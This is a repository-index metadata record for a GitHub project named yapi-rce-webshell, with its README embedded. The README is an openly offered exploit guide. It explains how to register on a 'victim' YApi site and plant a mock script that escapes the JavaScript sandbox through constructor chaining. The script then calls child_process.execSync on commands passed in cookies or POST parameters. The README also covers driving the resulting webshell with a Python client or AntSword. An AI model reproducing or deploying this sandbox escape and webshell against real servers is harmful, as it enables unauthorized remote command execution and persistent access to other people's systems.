{"id":21417993,"url":"https://github.com/esonhugh/yapi-rce-webshell","last_synced_at":"2025-09-07T15:33:27.332Z","repository":{"id":54379380,"uuid":"491998865","full_name":"Esonhugh/yapi-rce-webshell","owner":"Esonhugh","description":"Yapi mock script RCE another version. Webshell way. 另一种 Webshell 方式的 Yapi 命令执行的方法 相比于其他的利用方式 更加微操和可控 影响更小","archived":false,"fork":false,"pushed_at":"2024-07-04T05:28:58.000Z","size":9,"stargazers_count":65,"open_issues_count":1,"forks_count":4,"subscribers_count":2,"default_branch":"Skyworship","last_synced_at":"2024-12-26T15:09:21.872Z","etag":null,"topics":["exp","exploit","mock","mockjs","rce","webshell","yapi"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Esonhugh.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-05-13T18:17:33.000Z","updated_at":"2024-08-02T09:36:13.000Z","dependencies_parsed_at":"2022-08-13T14:00:20.681Z","dependency_job_id":null,"html_url":"https://github.com/Esonhugh/yapi-rce-webshell","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Esonhugh%2Fyapi-rce-webshell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Esonhugh%2Fyapi-rce-webshell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Esonhugh%2Fyapi-rce-webshell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Esonhugh%2Fyapi-rce-webshell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Esonhugh","download_url":"https://codeload.github.com/Esonhugh/yapi-rce-webshell/tar.gz/refs/heads/Skyworship","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":232227891,"owners_count":18491751,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exp","exploit","mock","mockjs","rce","webshell","yapi"],"created_at":"2024-11-22T19:18:27.992Z","updated_at":"2025-01-02T17:18:42.793Z","avatar_url":"https://github.com/Esonhugh.png","language":"Python","readme":"# yapi-rce-webshell\nYapi mock script RCE another version. Webshell way.\n\nhttps://github.com/YMFE/yapi/issues/2099\n\n# funny things \n\nusage:\n\n1. victim yapi website\n2. register account\n3. craete project and create api in it\n4. create mock script like \n```js\nconst sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"cd \"+cookie.dir+\";\"+cookie.cmd).toString()\n// you can also add exec function to do some async jobs like running enum scripts\n```\n5.  use python script to connect webshell and interactive\n\n```bash\npython3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test } -i # interactive mode\n# or\npython3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test} {cmd dir,you can use \".\"} {command location}\n```\n\n# AntSword-like Alternative\n\n1. Same as usage\n2. But Create an API With Advanced Mock POST Method.\n```js\nconst sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(params.data).toString()\n// you can also add exec function to do some async jobs like running enum scripts\n```\n3. Open AntSword\n4. Create with Config like\n- Type: CMDLINUX\n- Pass: data\n- URL: mock url in Yapi config\n- encoder: default\n- decoder: base64 \n5. enjoy your webshell\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fesonhugh%2Fyapi-rce-webshell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fesonhugh%2Fyapi-rce-webshell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fesonhugh%2Fyapi-rce-webshell/lists"}